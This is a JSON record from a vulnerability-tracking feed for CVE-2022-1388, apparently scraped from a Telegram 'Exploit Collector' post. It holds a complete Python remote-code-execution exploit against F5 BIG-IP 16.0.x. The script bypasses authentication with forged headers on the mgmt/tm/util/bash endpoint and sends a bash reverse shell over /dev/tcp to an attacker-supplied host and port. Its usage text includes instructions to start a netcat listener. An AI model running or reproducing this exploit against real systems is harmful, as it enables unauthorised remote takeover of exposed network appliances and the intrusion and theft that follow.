{"uuid": "35372595-9e6a-4362-ae12-572e1c42fe5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/hacking_Attack/53217", "content": "Exploit Collector\nF5 BIG-IP 16.0.x Remote Code Execution\n\nhttps://4.bp.blogspot.com/-SxgEc7szt9w/WWlva1nZfUI/AAAAAAAAIPE/UrvwYC_4YmMlGypxS9ASHy318XWSifzEQCLcBGAs/s1600/h71.png \nF5 BIG-IP version 16.0.x remote code execution exploit.\n\nSHA-256 | f5638973e5c1c81d7b5bf21977de0671c9081697e4ab7ad0ccd0963b8abf883c\n\nDownload\n# Exploit Title: F5 BIG-IP 16.0.x - Remote Code Execution (RCE)\n# Exploit Author: Yesith Alvarez\n# Vendor Homepage: https://www.f5.com/products/big-ip-services\n# Version: 16.0.x \n# CVE : CVE-2022-1388\n\nfrom requests import Request, Session\nimport sys\nimport json\ndef title():\nprint('''\n\n_______      ________    ___   ___ ___  ___       __ ____   ___   ___ \n/ ____\\ \\    / /  ____|  |__ \\ / _ \\__ \\|__ \\     /_ |___ \\ / _ \\ / _ \\ \n| |     \\ \\  / /| |__ ______ ) | | | | ) |  ) |_____| | __) | (_) | (_) |\n| |      \\ \\/ / |  __|______/ /| | | |/ /  / /______| ||__ < > _ < > _ < \n| |____   \\  /  | |____    / /_| |_| / /_ / /_      | |___) | (_) | (_) |\n\\_____|   \\/   |______|  |____|\\___/____|____|     |_|____/ \\___/ \\___/ \nAuthor: Yesith Alvarez\nGithub: https://github.com/yealvarez\nLinkedin: https://www.linkedin.com/in/pentester-ethicalhacker/\n''') \n\ndef exploit(url, lhost, lport):\nurl = url + 'mgmt/tm/util/bash'\ndata = {\n\"command\":\"run\",\n\"utilCmdArgs\":\"-c 'bash -i >& /dev/tcp/\"+lhost+\"/\"+lport+\" 0>&1'\"\n\n}\nheaders = {\n'Authorization': 'Basic YWRtaW46', \n'Connection':'keep-alive, X-F5-Auth-Token',\n'X-F5-Auth-Token': '0'\n\n}\ns = Session()\nreq = Request('POST', url, json=data, headers=headers)\nprepped = req.prepare()\ndel prepped.headers['Content-Type']\nresp = s.send(prepped,\nverify=False,\ntimeout=15\n)\n#print(prepped.headers)\n#print(url)\n#print(resp.headers)\n#print(resp.json())\nprint(resp.status_code)\nif __name__ == '__main__':\ntitle()\nif(len(sys.argv) < 4):\nprint('[+] USAGE: python3 %s https://<target_url lhost lport\\n'%(sys.argv[0]))\nprint('[+] USAGE: python3 %s https://192.168.0.10 192.168.0.11 4444\\n'%(sys.argv[0]))\nprint('[+] Do not forget to run the listener: nc -lvp 4444\\n')\nexit(0)\nelse:\nexploit(sys.argv[1],sys.argv[2],sys.argv[3])\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:41.166166Z"}